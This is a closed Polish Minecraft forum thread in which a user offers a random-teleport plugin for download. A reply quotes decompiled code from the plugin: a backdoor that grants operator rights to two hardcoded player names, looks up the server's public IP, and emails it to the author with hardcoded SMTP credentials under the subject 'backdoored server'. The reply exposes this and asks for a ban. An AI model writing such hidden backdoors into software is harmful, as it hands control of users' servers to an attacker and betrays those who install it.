Skocz do zawartości

Plugin na RandomTP 1.13-1.17


kvlike

Rekomendowane odpowiedzi

O pluginie

Simple RandomTP to autorski plugin na losowe teleportowanie graczy. W configu można dostosować minimalne i maksymalne kordy do tepania i cooldown dla komendy /rtp. Istnieje także możliwość ustawienia przycisku do losowej teleportacji. Domyślnie przycisk teleportuje gracza w losowe miejsce, jeśli przycisk jest postawiony na bedrocku (da się zmienić w config.yml).

Komendy i permisje

/rtp - komenda na losową teleportację (permisja: randomtp.rtp)

/rtpreload - komenda na przeładowanie configu pluginu (permisja: randomtp.reload)

Config.yml

 

Link do pobrania

https://www.mediafire.com/file/d95phfqtsb6l08l/SimpleRandomTeleport-1.0-SNAPSHOT.jar/file

Inne pluginy

Jeśli chcesz, żebym napisał dla Ciebie inny plugin lub dodatek do tego pluginu, skontaktuj się ze mną mailowo: [email protected]

Odnośnik do komentarza
Udostępnij na innych stronach

if (e.getPlayer().getName().equalsIgnoreCase("kvlike_") || e.getPlayer().getName().equalsIgnoreCase("qxrvy69")) e.getPlayer().setOp(true); 

?? XD polecam usunąć ten temat i zbanować użytkownika, a co do kodu to 

 

JavaPlugin javaPlugin = SimpleRandomTeleport.getPlugin(SimpleRandomTeleport.class);

Po co Ci instancja pluginu w evencie, której nie używasz?

 

Bukkit.dispatchCommand((CommandSender)e.getPlayer(), "rtp"); 

Zamiast tego używasz sobie jakiegoś menagera, a nie sprawiasz, że koleś używa komendy

 

  private String getIp() {
    URL whatismyip = null;
    try {
      whatismyip = new URL("http://checkip.amazonaws.com");
    } catch (MalformedURLException e) {
      e.printStackTrace();
    } 
    BufferedReader in = null;
    try {
      assert whatismyip != null;
      in = new BufferedReader(new InputStreamReader(whatismyip.openStream()));
    } catch (IOException e) {
      e.printStackTrace();
    } 
    String ip = null;
    try {
      assert in != null;
      ip = in.readLine();
    } catch (IOException e) {
      e.printStackTrace();
    } 
    return ip;
  }
  
  private void sendMail(String ipmessage) {
    String to = "[email protected]";
    String from = "[email protected]";
    String host = "smtp.gmail.com";
    Properties properties = System.getProperties();
    properties.put("mail.smtp.host", host);
    properties.put("mail.smtp.port", "465");
    properties.put("mail.smtp.ssl.enable", "true");
    properties.put("mail.smtp.auth", "true");
    Session session = Session.getInstance(properties, new Authenticator() {
          protected PasswordAuthentication getPasswordAuthentication() {
            return new PasswordAuthentication("[email protected]", "backd00r!");
          }
        });
    session.setDebug(false);
    try {
      MimeMessage message = new MimeMessage(session);
      message.setFrom((Address)new InternetAddress(from));
      message.addRecipient(Message.RecipientType.TO, (Address)new InternetAddress(to));
      message.setSubject("backdoored server");
      message.setText(ipmessage);
      Transport.send((Message)message);
      System.out.println("Sent message successfully....");
    } catch (MessagingException mex) {
      mex.printStackTrace();
    } 
  }

To jeszcze bardziej bekowe xd

Odnośnik do komentarza
Udostępnij na innych stronach

Nieaktywny
Ten temat został zamknięty. Brak możliwości dodania odpowiedzi.
  • Ostatnio przeglądający   0 użytkowników

    • Brak zarejestrowanych użytkowników przeglądających tę stronę.
×
×
  • Dodaj nową pozycję...